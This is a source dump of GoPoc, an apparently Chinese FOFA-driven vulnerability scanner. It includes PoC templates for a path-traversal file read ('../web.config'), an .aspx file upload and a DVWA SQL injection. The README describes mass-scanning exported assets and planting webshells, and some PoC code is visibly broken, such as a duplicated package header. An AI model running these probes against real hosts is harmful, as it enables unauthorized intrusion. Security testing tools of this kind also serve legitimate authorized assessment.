├── .idea ├── .gitignore ├── Scanner.iml ├── dictionaries │ └── Tophanter.xml ├── goscanner.iml ├── inspectionProfiles │ └── Project_Default.xml ├── modules.xml └── vcs.xml ├── Poc ├── readme.txt ├── xxServerFileReadVuln.go └── xxServerFileUploadVuln.go ├── README.md ├── go.mod ├── go.sum ├── main ├── Developer │ ├── AllFormat │ │ ├── ExpResult.go │ │ ├── FingerprintStruct.go │ │ ├── Header.go │ │ ├── PocStruct.go │ │ ├── RequestPackage.go │ │ ├── ResponsePackage.go │ │ └── customResponse.go │ ├── Core │ │ ├── CoreForSendByCode.go │ │ ├── CoreForSendByJson.go │ │ ├── GlobalVar.go │ │ ├── ParseStatement.go │ │ ├── isExploit.go │ │ └── pluginMain.go │ ├── Fofa │ │ ├── Fofa.go │ │ ├── FofaSample.go │ │ └── vendor │ │ │ ├── github.com │ │ │ ├── buger │ │ │ │ └── jsonparser │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── .travis.yml │ │ │ │ │ ├── Dockerfile │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── README.md │ │ │ │ │ ├── bytes.go │ │ │ │ │ ├── bytes_safe.go │ │ │ │ │ ├── bytes_unsafe.go │ │ │ │ │ ├── escape.go │ │ │ │ │ └── parser.go │ │ │ └── fofapro │ │ │ │ └── fofa-go │ │ │ │ ├── LICENSE │ │ │ │ └── fofa │ │ │ │ └── fofa.go │ │ │ └── modules.txt │ ├── HttpAbout │ │ ├── GlobalVar.go │ │ ├── HttpConfig.go │ │ ├── SendHttpRequst.go │ │ ├── SetProxy.go │ │ └── SimpleHttp.go │ ├── handle │ │ ├── HandleJSON.go │ │ ├── HandlePack.go │ │ ├── HandleXML.go │ │ └── utils.go │ └── readme.txt ├── Log │ └── Logger.go ├── User │ ├── Resource │ │ ├── GobyFingerprint.txt │ │ └── test.txt │ ├── Utils │ │ ├── FileUtils.go │ │ ├── Regex.go │ │ └── Strings.go │ ├── dvwaSqlScan.go │ └── readme.txt ├── config.ini └── main.go ├── pic └── 演示.gif └── 更新日志.txt /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 基于编辑器的 HTTP 客户端请求 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/Scanner.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/dictionaries/Tophanter.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | fofa 5 | goby 6 | vuln 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/goscanner.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 42 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Poc/readme.txt: -------------------------------------------------------------------------------- 1 | Poc 文件夹下专门用来存放各种poc,因为User文件夹只能放一个 go poc , 这是由于go语言所设计的, 个人暂时没办法解决 2 | 3 | 注意: 4 | 想使用 Poc文件夹下的 go文件时,请"复制"过去,而不是直接拖过去,因为拖过去会弹个窗让你重构,你点击重构代码就乱套了 5 | -------------------------------------------------------------------------------- /Poc/xxServerFileReadVuln.go: -------------------------------------------------------------------------------- 1 | package User 2 | 3 | import ( 4 | Format "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/HttpAbout" 6 | "GoPoc/main/User/Utils" 7 | "strings" 8 | ) 9 | 10 | package User 11 | 12 | import ( 13 | "GoPoc/main/Developer/AllFormat" 14 | "GoPoc/main/Developer/HttpAbout" 15 | "GoPoc/main/User/Utils" 16 | "strings" 17 | ) 18 | 19 | var Json string 20 | var Poc func(hostInfo string) bool 21 | var Exp func(expResult Format.ExpResult) Format.ExpResult 22 | 23 | // 为避嫌, fofa语句乱填的 24 | func init() { 25 | Json = `{ 26 | "VulnName":"某系统任意文件读取漏洞", 27 | "CheckIP":"true", 28 | "Coroutine":"10", 29 | "File":"", 30 | "Fofa":"product=\"xxx\"", 31 | "Url":"", 32 | "Request":{ 33 | 34 | "Method": "", 35 | 36 | "Uri": [ 37 | ], 38 | 39 | "Header":{ 40 | "Accept-Encoding":"gzip" 41 | } 42 | }, 43 | 44 | "Response":{ 45 | 46 | "Operation":"", 47 | 48 | "Group":[ 49 | 50 | { 51 | 52 | "Regexp": "", 53 | "Header":{ 54 | }, 55 | 56 | "Body":[ 57 | ] 58 | }, 59 | 60 | { 61 | "Header":{ 62 | } 63 | } 64 | ] 65 | 66 | } 67 | }` 68 | 69 | // 发送探测包 70 | sendDetectionPath455445 := func(hostInfo string) (Format.CustomResponseFormat, error) { 71 | config := HttpAbout.NewHttpConfig() // 未指定请求方法则默认GET 72 | config.Uri = "/Launch/Download?FilePath=../web.config" 73 | Utils.FullyAutomaticFillingHeader(config, `GET http://127.0.0.1 HTTP/1.1 74 | Cache-Control: no-cache 75 | User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 76 | Host: 127.0.0.1 77 | Accept: */* 78 | Accept-Encoding: gzip, deflate, br 79 | Connection: close`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头 80 | return HttpAbout.SendHttpRequest(hostInfo, config) 81 | } 82 | 83 | // 如果使用代码模式, Poc函数为必须,其中的参数固定 84 | Poc = func(hostInfo string) bool { 85 | resp, err := sendDetectionPath455445(hostInfo) 86 | if err != nil { 87 | return false 88 | } 89 | if !strings.Contains(resp.Status, "200") { // 如果响应码不包含 200 字样,则返回 false 90 | return false 91 | } 92 | return strings.Contains(resp.Body, "dependentAssembly") // 如果响应包包含 dependentAssembly 字样,则返回 true 93 | } 94 | 95 | // 如果使用代码模式, Exp函数为必须,其中的参数固定 96 | // Exp 你可以尝试自己写一下: 97 | Exp = func(expResult Format.ExpResult) Format.ExpResult { 98 | return expResult 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /Poc/xxServerFileUploadVuln.go: -------------------------------------------------------------------------------- 1 | package User 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/HttpAbout" 6 | "GoPoc/main/User/Utils" 7 | "strings" 8 | ) 9 | 10 | var Json string 11 | var Poc func(hostInfo string) bool 12 | var Exp func(expResult Format.ExpResult) Format.ExpResult 13 | 14 | // 为避嫌, fofa语句乱填的 15 | func init() { 16 | Json = `{ 17 | "VulnName":"某系统文件上传漏洞", 18 | "CheckIP":"true", 19 | "Coroutine":"10", 20 | "File":"", 21 | "Fofa":"product=\"xxx\"", 22 | "Url":"", 23 | "Request":{ 24 | 25 | "Method": "", 26 | 27 | "Uri": [ 28 | ], 29 | 30 | "Header":{ 31 | "Accept-Encoding":"gzip" 32 | } 33 | }, 34 | 35 | "Response":{ 36 | 37 | "Operation":"", 38 | 39 | "Group":[ 40 | 41 | { 42 | 43 | "Regexp": "", 44 | "Header":{ 45 | }, 46 | 47 | "Body":[ 48 | ] 49 | }, 50 | 51 | { 52 | "Header":{ 53 | } 54 | } 55 | ] 56 | 57 | } 58 | }` 59 | 60 | // 发送探测包 61 | sendDetectionPath455445 := func(hostInfo string) (Format.CustomResponseFormat, error) { 62 | config := HttpAbout.NewHttpConfig() 63 | config.Uri = "/Launch/Download?FilePath=../web.config" 64 | // 自动赋值请求方法为 POST 65 | Utils.FullyAutomaticFillingHeader(config, `POST /Launch/UploadFile?FileName=toto.aspx&Version=1&Size=100 HTTP/1.1 66 | Host: 127.0.0.1 67 | Accept-Language: zh-CN 68 | Upgrade-Insecure-Requests: 1 69 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 70 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 71 | Accept-Encoding: gzip, deflate, br 72 | Connection: keep-alive 73 | Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279Content-Length: 3 74 | 75 | 123`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头 76 | config.Body = `123` // 请求体内容为 123 77 | return HttpAbout.SendHttpRequest(hostInfo, config) 78 | } 79 | 80 | getReturn352435 := func(hostInfo string) (Format.CustomResponseFormat, error) { 81 | config := HttpAbout.NewHttpConfig() 82 | config.Uri = "/Launch/Client/toto.aspx" 83 | // 自动赋值请求方法为 GET 84 | Utils.FullyAutomaticFillingHeader(config, `GET /Launch/UploadFile?FileName=toto.aspx&Version=1&Size=100 HTTP/1.1 85 | Host: 127.0.0.1 86 | Accept-Language: zh-CN 87 | Upgrade-Insecure-Requests: 1 88 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 89 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 90 | Accept-Encoding: gzip, deflate, br`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头 91 | config.Body = `123` // 请求体内容为 123 92 | return HttpAbout.SendHttpRequest(hostInfo, config) 93 | } 94 | 95 | // 如果使用代码模式, Poc函数为必须,其中的参数固定 96 | Poc = func(hostInfo string) bool { 97 | resp, err := sendDetectionPath455445(hostInfo) 98 | if err != nil { 99 | return false 100 | } 101 | if !strings.Contains(resp.Status, "200") { // 如果响应码不包含 200 字样,则返回 false 102 | return false 103 | } 104 | resp, err = getReturn352435(hostInfo) 105 | if err != nil { 106 | return false 107 | } 108 | return strings.Contains(resp.Body, "123") // 如果响应包包含 123 字样,则返回 true 109 | } 110 | 111 | // 如果使用代码模式, Exp函数为必须,其中的参数固定 112 | // Exp 你可以尝试自己写一下: 113 | Exp = func(expResult Format.ExpResult) Format.ExpResult { 114 | return expResult 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [红蓝工具] GoPoc 2 | 3 | **基于 Json 、自定义Go脚本、fofa的快速验证扫描引擎,可用于快速验证目标是否存在该漏洞。** 4 | 5 | **注意:Json模式后续不再维护,因为扩展性太差,请使用 代码模式** 6 | 7 | 使用场景: 8 | 9 | - 你是否发现一个新漏洞但苦于无法快速编写成脚本?这款工具可能适合你,只要你能看http请求包/响应包就能上手写poc。 10 | - 想更高深的利用?比如文件上传写冰蝎、哥斯拉。那么代码模式适合你。 11 | - **办公、蓝队场景**:比如上级让你统计某批用户的发帖量,你固然可以点鼠标一个个算对应用户的发帖量,但何不写个脚本全自动跑,下次遇到了再运行脚本? 12 | - **红队场景**:nuclei上发现一个不错的漏洞或者你自己挖掘到的漏洞,将其转换为GoPoc,这样打点速度极快(毕竟FOFA可以指定语法,导出一批资产) 13 | - 和 nuclei 的区别:nuclei有非常庞大的用户社区,可以比较快速的提供非常新的poc,而GoPoc侧重在poc/exp编写, 14 | 通过断点调试的方法可以帮助我们快速编写poc/exp , 最后再结合fofa来快速打点。你可以经常编写GoPoc 形成你自己的漏洞库,GoPoc不会随意的使用所有Poc,而是在符合条件的情况下才会使用Poc(比如目标资产符合你设置的FOFA语法、符合探测模式构建的语法),这样可以避免被安全设备提前探测拦截。 15 | - 本工具本质上和Goby基本一致,可以利用GoPoc打造属于自己的漏洞库 16 | 17 | # 注意事项: 18 | - User文件夹下只能放一个自己写的go poc文件,这是由于go语言的特性,个人暂时没有解决办法 19 | - 想使用 Poc文件夹下的 go文件时,请"复制"过去,而不是直接拖过去,因为拖过去会弹个窗让你重构,你点击重构代码就乱套了,就无法使用 (你要是会开发可以直接拖过去) 20 | 21 | # 免责声明 22 | 23 | ```md 24 | 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 25 | 26 | 为避免被恶意使用,本项目不提供任何poc,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。 27 | 28 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 29 | 30 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 31 | 32 | 在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 33 | ``` 34 | 35 | 36 | 37 | # 使用教程 38 | 39 | - 1. 请 **下载源码** 使用 40 | 2. 使用ide打开项目,比如 goland 41 | 3. 在 User 包下新建一个 "文件名.go" 42 | 4. 创建一个配置文件,比如 config.ini 43 | 5. 使用 -ini 参数加载配置文件. 44 | - config.ini 内容如下: 45 | 46 | ```md 47 | -email // fofa的email (必须) 48 | -key // fofa的key (必须) 49 | -vul // poc/exp文件,文件后缀为.go (必须) 50 | -mod // 指定poc/exp这两种模式 (必须) 51 | -proxy // burpsuite 代理,用于方便写poc/exp (必须) 52 | -coroutine // 最大并发量,越大扫描速度越快,取决于你CPU性能 (非必须,不填默认为200) 53 | -maxFofaSize // fofa最大检索数 (必须) 54 | -detectionMode // 是否开启探测模式,若开启则先发送一个包,根据响应包匹配指纹 55 | -builtinFingerprint // 为 true 时不使用用户输入的语句,而是使用 GoPoc 内置的指纹库去跑 [优点是内置指纹庞大,有7k条,缺点是扫描速度直线下降,因为要对庞大指纹库进行匹配] 56 | ------------------------------------ 57 | 例如 58 | -email 59 | xxxxxxxxxxx@gamil.com 60 | -key 61 | fdgdfhfgdhdfgdhfghfdg 62 | -vul 63 | D:\Coding\Github\GoPoc\main\User\test.go 64 | -mod 65 | poc 66 | -proxy 67 | http://127.0.0.1:8082 68 | -coroutine 69 | 3 70 | -maxFofaSize 71 | 300 72 | -detectionMode 73 | false 74 | -builtinFingerprint 75 | true 76 | ``` 77 | 78 | - **利用模式**: 79 | 80 | - Json 模式:被废弃,但保留对应源码 81 | 82 | - go 模式 83 | 84 | 在 main\User 文件夹下新建一个 **文件名.go** 文件,然后 config 文件指定该 go 文件即可,go 文件的内容如下[只做样例说明,真正的文件请看 dvwaSqlScan.go 文件]: 85 | 86 | ```go 87 | package User 88 | 89 | import ( 90 | "GoPoc/main/Developer/AllFormat" 91 | "GoPoc/main/Developer/HttpAbout" 92 | "GoPoc/main/User/Utils" 93 | "net/http" 94 | "strings" 95 | ) 96 | 97 | var Json string 98 | var Poc func(hostInfo string, client *http.Client) bool 99 | var Exp func(expResult Format.ExpResult, client *http.Client) Format.ExpResult 100 | 101 | // Poc 编写,以 dvwa 靶场的sql注入为例 102 | func init() { 103 | // 有代码使用代码,无代码使用json 104 | // 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句 105 | // 此处的json只是说明json的使用方式,与代码模式并无关联 106 | Json = `{ 107 | // 值非必须,如果值为false则不进行代理检测,适用于内部或工作使用的脚本,默认进行代理检测,防止粗心导致喝茶 108 | "CheckIP":"true", 109 | // 值非必须,如果有值则使用这个协程数,否则使用全局协程数,全局协程数不写也行,默认使用200 110 | "Coroutine":"10", 111 | // 值非必须,如果有值则不使用fofa查询,而直接访问该File对应的文件,比如url.txt 112 | "File":"", 113 | // 值非必须,如果有值则不使用fofa查询,而直接访问该Url,比如 http://www.baidu.com ,要带http://或https:// 114 | "Url":"https://www.baidu.com", 115 | // 必须,表明想要查找的fofa语句. 116 | "Fofa":"body=\"Login :: Damn Vulnerable Web Application\"", 117 | "Uri" : "/dvwa/" // 这个uri指的是探测模式是所要访问的uri 118 | // 请求包 119 | "Request":{ 120 | // 请求方法 121 | "Method": "GET", 122 | // 请求路径,这里分别请求两个uri 123 | "Uri": [ 124 | "/robots.txt", 125 | "/hello.txt" 126 | ], 127 | // 自定义 header 头 128 | "Header":{ 129 | "Accept-Encoding":"gzip" 130 | } 131 | }, 132 | // 响应包 133 | "Response":{ 134 | // 定义多个Group之间的关系,有AND和OR这两种,其中AND是都满足漏洞才存在,OR是其中一个条件满足即可. 135 | "Operation":"OR", 136 | // 判断条件 137 | "Group":[ 138 | // 条件1 139 | { 140 | // 支持正则表达式 141 | "Regexp": ".*?", 142 | "Header":{ 143 | // 状态码 144 | "Status": "200" 145 | }, 146 | // response Body ,同样是支持多个Body,当都符合时为True 147 | "Body":[ 148 | "Hello World", 149 | "wahaha" 150 | ] 151 | }, 152 | // 条件2 153 | { 154 | "Header":{ 155 | // 状态码 156 | "Status": "200" 157 | } 158 | } 159 | ] 160 | 161 | } 162 | }` 163 | 164 | getSessionByLogin := func(hostInfo string) (string, error) { 165 | // 发起登录请求 --> 302跳转 --> 获取请求包中的session , 并返回 166 | config := HttpAbout.NewHttpConfig() 167 | config.Uri = "/dvwa/" 168 | resp, err := HttpAbout.SendHttpRequest(hostInfo, config) 169 | if err != nil { 170 | return "", err 171 | } 172 | config.Header["Cookie"] = resp.Header["Set-Cookie"][0] 173 | config.Body = "username=admin&password=password&Login=Login&user_token=" + Utils.RandomStringByModule(24, 1) 174 | config.Uri = "/dvwa/login.php" 175 | resp, err = HttpAbout.SendHttpRequest(hostInfo, config) 176 | if err != nil { 177 | return "", err 178 | } 179 | if !strings.Contains(resp.Body, "Welcome :: Damn Vulnerable Web ") { 180 | return "", err 181 | } 182 | return resp.Header["Set-Cookie"][0], nil 183 | } 184 | 185 | // 建议: 函数名+随机命名 186 | sendLoginByToken455445 := func(hostInfo string) (Format.CustomResponseFormat, error) { 187 | var err error 188 | var customResponse Format.CustomResponseFormat 189 | config := HttpAbout.NewHttpConfig() 190 | config.Header["Cookie"], err = getSessionByLogin(hostInfo) // (非强制) 自定义Header头 191 | if err != nil { 192 | return customResponse, nil 193 | } 194 | config.Header["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" 195 | config.Header["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0" // (非强制) 如果不写的话随机从默认URL列表上选取一个 196 | config.TimeOut = 5 // (非强制) 如果不写的话默认值为 5秒 197 | config.Method = "GET" // (非强制) 如果不写的话默认值为 GET方式 198 | //config.Body = `123` // (非强制) 如果不写的话默认值为 "" 199 | config.Uri = "/dvwa/index.php" // (非强制) 如果不写的话默认值为 "" 200 | config.IsRedirect = true // (非强制) 如果不写的话默认值为 false,即返回的响应包数据为重定向前的响应包 201 | return HttpAbout.SendHttpRequest(hostInfo, config) 202 | } 203 | 204 | // 建议: 函数名+随机命名 205 | sendSqlPayload5251552 := func(hostInfo string) (Format.CustomResponseFormat, error) { 206 | config := HttpAbout.NewHttpConfig() 207 | config.Header["Cookie"] = "security=low; PHPSESSID=1abcbe73869e90560e9061ca636c813e" 208 | config.Uri = "/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" 209 | return HttpAbout.SendHttpRequest(hostInfo, config) 210 | } 211 | 212 | // 如果使用代码模式, Poc函数为必须,其中的参数固定 213 | Poc = func(hostInfo string) bool { 214 | resp, err := sendLoginByToken455445(hostInfo) 215 | if err != nil { 216 | return false 217 | } 218 | if !strings.Contains(resp.Body, "Welcome to Damn") { 219 | return false 220 | } 221 | resp, err = sendSqlPayload5251552(hostInfo) 222 | return err == nil && strings.Contains(resp.Body, "You have an error in your SQL syntax;") 223 | } 224 | 225 | // 如果使用代码模式, Exp函数为必须,其中的参数固定 226 | // Exp 你可以尝试自己写一下: 227 | Exp = func(expResult Format.ExpResult) Format.ExpResult { 228 | return expResult 229 | } 230 | } 231 | 232 | 233 | ``` 234 | 235 | 236 | 237 | - 书写规范: 238 | 239 | ```md 240 | 1. 使用go模式时必须存在 Poc/Exp 函数 241 | 2. 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句 242 | ``` 243 | 244 | # 效果展示: 245 | 246 | ![演示](pic\演示.gif) 247 | 248 | # 特性 249 | 250 | ```md 251 | 1. 基于 fofa 规则匹配对应产品,匹配成功后才开始使用POC,避免发送无用包 252 | 2. POC 易编写,只需要会看http响应包和http回显包即可 253 | ``` 254 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module GoPoc 2 | 3 | go 1.19 4 | 5 | require github.com/buger/jsonparser v1.1.1 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= 2 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= 3 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/ExpResult.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type ExpResult struct { 4 | HostInfo string 5 | Output string 6 | Success bool 7 | } 8 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/FingerprintStruct.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type Fingerprint struct { 4 | Product string `json:"product"` 5 | Rule string `json:"rule"` 6 | } 7 | 8 | type Rule struct { 9 | Header string `json:"header"` 10 | Body string `json:"body"` 11 | } 12 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/Header.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type Header struct { 4 | UserAgent string `json:"User-Agent"` 5 | AcceptEncoding string `json:"Accept-Encoding"` 6 | Accept string `json:"Accept"` 7 | Host string `json:"Host"` 8 | ContentType string `json:"Content-Type"` 9 | } 10 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/PocStruct.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type PocStruct struct { 4 | RequestPackage RequestPackage `json:"Request"` 5 | ResponsePackage ResponsePackage `json:"Response"` 6 | Fofa string `json:"Fofa"` 7 | Uri string `json:"Uri"` 8 | Url string `json:"Url"` 9 | File string `json:"File"` 10 | Coroutine string `json:"Coroutine"` 11 | CheckIP string `json:"CheckIP"` 12 | VulnName string `json:"VulnName"` 13 | } 14 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/RequestPackage.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type RequestPackage struct { 4 | Method string `json:"Method"` 5 | Url string `json:"Url"` 6 | Uri []string `json:"Uri"` 7 | Header map[string]interface{} `json:"Header"` 8 | Body string `json:"Body"` 9 | } 10 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/ResponsePackage.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | type ResponsePackage struct { 4 | Operation string `json:"Operation"` 5 | Group []Group `json:"Group"` 6 | } 7 | 8 | type Group struct { 9 | Regexp string `json:"Regexp"` 10 | Header map[string]interface{} `json:"Header"` 11 | Body []string `json:"Body"` 12 | } 13 | -------------------------------------------------------------------------------- /main/Developer/AllFormat/customResponse.go: -------------------------------------------------------------------------------- 1 | package Format 2 | 3 | import ( 4 | "crypto/tls" 5 | "io" 6 | "net/http" 7 | ) 8 | 9 | type CustomResponseFormat struct { 10 | Body string 11 | Status string // e.g. "200 OK" 12 | StatusCode int // e.g. 200 13 | Proto string // e.g. "HTTP/1.0" 14 | ProtoMajor int // e.g. 1 15 | ProtoMinor int // e.g. 0 16 | Header map[string][]string 17 | RawBody io.ReadCloser 18 | Raw string // 原始报文 19 | ContentLength int64 20 | TransferEncoding []string 21 | Close bool 22 | Uncompressed bool 23 | Trailer map[string][]string 24 | Request *http.Request 25 | TLS *tls.ConnectionState 26 | } 27 | -------------------------------------------------------------------------------- /main/Developer/Core/CoreForSendByCode.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | Format "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/HttpAbout" 6 | "GoPoc/main/Log" 7 | "GoPoc/main/User" 8 | "bufio" 9 | "encoding/json" 10 | "fmt" 11 | "log" 12 | "net/url" 13 | "os" 14 | "strings" 15 | "sync" 16 | ) 17 | 18 | func ForSendByCode(pocOrExp string, urlsList []string, pocStruct Format.PocStruct) { 19 | if IsDetectionModeByBool { 20 | Log.Log.Println("[+] 已开启探测模式,将根据poc想要扫描的全部url(支持 Url/File)分别发起一个请求,如果不符合自定义规则,则不执行 Poc/Exp 部分") 21 | } 22 | 23 | waitGroup := &sync.WaitGroup{} 24 | numThreads := MaxConcurrentLevelInt // 计算要划分的小的urlsList数量 25 | if numThreads > len(urlsList) { 26 | numThreads = len(urlsList) 27 | } 28 | if numThreads == 0 { 29 | numThreads = 1 30 | } 31 | urlsPerThread := len(urlsList) / numThreads 32 | for i := 0; i < numThreads; i++ { 33 | start := i * urlsPerThread 34 | end := start + urlsPerThread 35 | if i == numThreads-1 { 36 | end = len(urlsList) 37 | } 38 | 39 | subURLsList := urlsList[start:end] 40 | waitGroup.Add(1) 41 | panicIndex := i 42 | go func(subURLs []string) { 43 | defer func() { 44 | if r := recover(); r != nil { 45 | fmt.Printf("协程 %d 从报错中恢复,报错原因: %v\n\n", panicIndex, r) 46 | } 47 | waitGroup.Add(-1) 48 | }() 49 | 50 | for _, tmpUrl := range subURLs { 51 | parsedURL, err := url.Parse(tmpUrl) 52 | if err != nil { 53 | continue 54 | } 55 | if !IsExploitSuccessByCode(pocOrExp, tmpUrl, pocStruct) { 56 | continue 57 | } 58 | splitURL := strings.Split(tmpUrl, "?") 59 | if len(splitURL) < 2 { 60 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + " ]\tSuccess! The target may have this vulnerability") 61 | } else { 62 | params := strings.Split(splitURL[1], "&") 63 | encodedParams := make([]string, len(params)) 64 | for tmpI := range params { 65 | p := strings.Split(params[tmpI], "=") 66 | encodedParams[tmpI] = url.QueryEscape(p[0]) + "=" + url.QueryEscape(p[1]) 67 | } 68 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + strings.Join(encodedParams, "&") + " ]\tSuccess! The target may have this vulnerability") 69 | } 70 | } 71 | }(subURLsList) 72 | } 73 | waitGroup.Wait() 74 | } 75 | 76 | func sendDetectionPackage(hostInfo string, pocStruct Format.PocStruct) (Format.CustomResponseFormat, error) { 77 | config := HttpAbout.NewHttpConfig() 78 | config.Uri = pocStruct.Uri 79 | config.TimeOut = 10 80 | config.Method = "GET" 81 | config.IsRedirect = true 82 | return HttpAbout.SendHttpRequest(hostInfo, config) 83 | } 84 | 85 | // IsDetectionMode 开启检测模式,不借助 fofa 进行页面规则的扫描 86 | func IsDetectionMode(hostInfo string, pocStruct Format.PocStruct) bool { 87 | var bodyArray []string 88 | var headerArray []string 89 | var bodyCounter int 90 | var headerCounter int 91 | headerValuesList := "" 92 | resp, err := sendDetectionPackage(hostInfo, pocStruct) 93 | if err != nil { 94 | Log.Log.Fatal("[-] 解析探测语句失败! :", err) 95 | } 96 | if strings.Contains(resp.Body, "Burp Suite") && strings.Contains(resp.Body, "background: #e06228; padding: 10px 15px") { 97 | Log.Log.Fatal("[-] 浏览器没开代理插件,比如 firefox 的 FoxyProxy 没开启代理") 98 | return false 99 | } 100 | 101 | if IsBuiltinFingerprint { // 是否使用内置指纹库进行匹配 102 | var fingerprint Format.Fingerprint 103 | fingerprintGlobal, _ := os.Open("./main/User/Resource/GobyFingerprint.txt") // test.txt GobyFingerprint.txt 104 | scanner := bufio.NewScanner(fingerprintGlobal) 105 | counter := 0 106 | fingerprintList := "" 107 | isHaveFingerprint := false 108 | for scanner.Scan() { 109 | jsonData := scanner.Text() // 获取当前行的内容 110 | err = json.Unmarshal([]byte(jsonData), &fingerprint) 111 | if err != nil { 112 | log.Fatal(err) 113 | } 114 | counter++ 115 | transformed, keyOperatorValue := convertLogicalExpression(fingerprint.Rule) // 精简化语句,方便进行逆波兰运算 116 | bodyArray, headerArray, bodyCounter, headerCounter = getKeyOperatorValue(keyOperatorValue) // 获取所有的键值对以及算数运算符 117 | bodyArrayByBool := make([]bool, bodyCounter) 118 | headerArrayByBool := make([]bool, headerCounter) 119 | bodyCounter = 0 120 | headerCounter = 0 121 | if len(bodyArray) == 0 && len(headerArray) == 0 { 122 | return false 123 | } 124 | 125 | if strings.Contains(transformed, "header") { 126 | headerValuesList = resp.Proto + " " + resp.Status + "\n" 127 | for key, values := range resp.Header { 128 | headerValuesList = headerValuesList + key + ": " 129 | for _, value := range values { 130 | headerValuesList = headerValuesList + value + "\n" 131 | } 132 | } 133 | } 134 | 135 | // 扫一遍,得知每个表达式是true还是false 136 | for _, condition := range keyOperatorValue { 137 | if condition.Value == "" { 138 | continue 139 | } 140 | switch strings.ToLower(condition.Key) { 141 | case "title": 142 | case "body": 143 | if !strings.Contains(condition.Operator, "!") { 144 | if strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) { 145 | bodyArrayByBool[bodyCounter] = true 146 | } else { 147 